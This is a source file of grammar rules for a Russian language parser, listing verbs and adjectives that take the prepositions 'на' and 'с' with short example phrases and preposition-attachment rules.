rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
